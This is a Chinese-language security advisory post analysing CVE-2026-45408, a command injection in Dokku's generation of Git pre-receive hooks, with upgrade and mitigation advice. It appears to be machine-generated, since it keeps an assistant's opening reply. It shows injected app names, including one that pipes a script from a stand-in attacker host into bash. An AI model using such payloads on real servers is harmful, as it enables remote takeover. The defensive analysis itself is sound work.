🔴 严重 | CVE-2026-45408 — Dokku is a docker-powered PaaS. Prior to 0.38.2, t...
🔴 【深度分析】严重安全漏洞:CVE-2026-45408
CVSS 评分: 严重(9.0)🔴 状态: Analyzed 发布时间: 2026-06-26
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-45408 |
| CVSS 评分 | 9.0 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| CWE 分类 | CWE-78 |
| 发布时间 | 2026-06-26 |
| 最后更新 | 2026-06-26 |
| 状态 | Analyzed |
| 数据来源 | security-advisories@github.com |
好的,作为一名资深网络安全分析师,我将基于您提供的 NVD 数据,为您生成一篇专业的漏洞深度分析文章。
漏洞深度分析:CVE-2026-45408
CVSS 评分:9.0(严重)
危害等级:严重
攻击向量:网络 (AV:N)
攻击复杂度:低 (AC:L)
漏洞概述
CVE-2026-45408 是一个存在于 Dokku(一个基于 Docker 的平台即服务 PaaS 工具)中的高危命令注入漏洞。该漏洞源于对用户提供的应用名称验证不严,导致在生成 Git 钩子脚本时,恶意应用名称中的 shell 元字符被直接嵌入到未加引号的 heredoc 中。经过身份验证的攻击者可以通过推送一个包含精心构造名称的 Git 仓库到 Dokku 服务器,从而在目标服务器上以 dokku 用户身份执行任意系统命令。此漏洞影响 Dokku 0.38.2 之前的所有版本。
受影响组件与版本
- 受影响软件: Dokku
- 影响版本: 0.38.2 之前的所有版本
- 修复版本: 0.38.2
漏洞原理分析
该漏洞的核心在于两个关键环节的疏忽:输入验证不充分 和 不安全的数据拼接。
输入验证绕过:
Dokku 在创建应用时,会使用一个正则表达式^[a-z0-9][^/:_A-Z]*$来验证应用名称。这个正则表达式的意图是允许以小写字母或数字开头,后续可以包含除/、:、_和大写字母之外的任何字符。然而,这个正则表达式并未过滤掉 shell 元字符,例如;、|、&、$、`等。因此,一个包含;的应用名(例如myapp;id)可以顺利通过验证。不安全的数据拼接:
当用户通过 Git 推送代码时,Dokku 会动态生成一个pre-receive钩子脚本。该脚本位于plugins/git/internal-functions文件的fn-git-create-hook()函数中(第 378 行)。问题在于,该脚本使用了一个未加引号的 heredoc (<<EOF而不是<<'EOF')。<<EOF:Bash 会解析 heredoc 内容中的变量和命令替换。这意味着,如果 heredoc 内容中包含$variable或`command`,它们会被 Bash 解释执行。<<'EOF':Bash 会将 heredoc 内容视为纯文本,不会进行任何解析。
由于使用了
<<EOF,当恶意应用名myapp;id被嵌入到生成的脚本中时,它不再是单纯的字符串,而是成为了 Bash 脚本的一部分。例如,生成的脚本片段可能类似于:# ... 其他脚本内容 ... APP_NAME=myapp;id # ... 后续操作 ...当
git push触发这个pre-receive钩子时,Bash 会执行该脚本。在解析到APP_NAME=myapp;id这一行时,Bash 会将其解释为:- 将变量
APP_NAME赋值为myapp。 - 遇到命令分隔符
;。 - 执行命令
id。
因此,攻击者可以通过精心构造应用名(例如
myapp;curl http://attacker.com/shell.sh | bash),在 Dokku 服务器上执行任意命令。
攻击向量总结:
- 攻击者拥有一个 Dokku 平台的有效账户(需要
PR:L,低权限)。 - 攻击者创建一个名称包含 shell 元字符(如
;)的新应用。 - 攻击者向该应用的 Git 远程仓库执行
git push操作。 - Dokku 服务器在生成
pre-receive钩子脚本时,将恶意应用名未加引号地嵌入其中。 - 当 Git 钩子被触发时,Bash 解释执行了脚本中的恶意命令,导致命令注入。
影响评估
- 攻击复杂度: 低 (AC:L)。攻击者无需复杂的网络环境或特殊条件,只需能够向 Dokku 服务器发起 Git 推送请求。
- 所需权限: 低 (PR:L)。攻击者需要在 Dokku 平台上拥有一个有效的用户账户,这通常可以通过注册或利用现有凭据获得。
- 用户交互: 需要 (UI:R)。攻击者需要诱使或等待 Dokku 系统触发 Git 推送操作。但在此场景中,攻击者本身就是执行推送的用户,因此用户交互要求可以视为“攻击者自身操作”,实际利用难度很低。
- 影响范围: 已变更 (S:C)。漏洞利用不仅影响托管的应用(机密性、完整性、可用性),还可能影响 Dokku 平台自身及其上的其他应用。成功利用后,攻击者可以完全控制
dokku用户权限,进而可能通过容器逃逸或利用 Docker 套接字权限提升至宿主机 root 权限。 - 潜在后果:
- 完全控制服务器: 攻击者可以以
dokku用户身份执行任意命令,包括读取、修改、删除任何dokku用户有权限访问的文件。 - 数据泄露: 窃取托管应用的数据库凭据、API 密钥、源代码等敏感信息。
- 横向移动: 利用 Dokku 平台作为跳板,攻击内部网络中的其他系统。
- 拒绝服务: 删除关键文件或停止服务,导致平台不可用。
- 完全控制服务器: 攻击者可以以
修复建议
- 立即升级: 最直接有效的修复措施是将 Dokku 升级到 0.38.2 或更高版本。该版本已修复了应用名验证正则表达式,并可能对脚本生成过程进行了安全加固。
- 临时缓解措施(如无法立即升级):
- 加强输入验证: 在 Dokku 前端(如 Nginx 反向代理)或使用 Web 应用防火墙(WAF)添加规则,阻止包含
;、|、&、$、`等 shell 元字符的应用名创建请求。 - 限制用户权限: 审查并限制 Dokku 平台上的用户权限,仅授予可信用户创建应用的权限。但这并不能完全消除风险,因为低权限用户一旦被攻破,仍可利用此漏洞。
- 监控异常行为: 密切监控服务器上的进程创建日志(如
auditd)和 Git 操作日志,寻找异常的git push操作或可疑的命令执行行为。
- 加强输入验证: 在 Dokku 前端(如 Nginx 反向代理)或使用 Web 应用防火墙(WAF)添加规则,阻止包含
参考资料
- CVE 详情页 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-45408
- CWE 分类: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Dokku 官方安全公告: 建议关注 Dokku 官方 GitHub 仓库的 Security Advisories 页面或发布日志,以获取更详细的信息和补丁说明。
- CVSS 向量解读:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H表明这是一个通过网络远程利用、复杂度低、需要低权限但需要用户交互(此处为用户自身操作)、影响范围已变更、对机密性、完整性和可用性影响均为高的严重漏洞。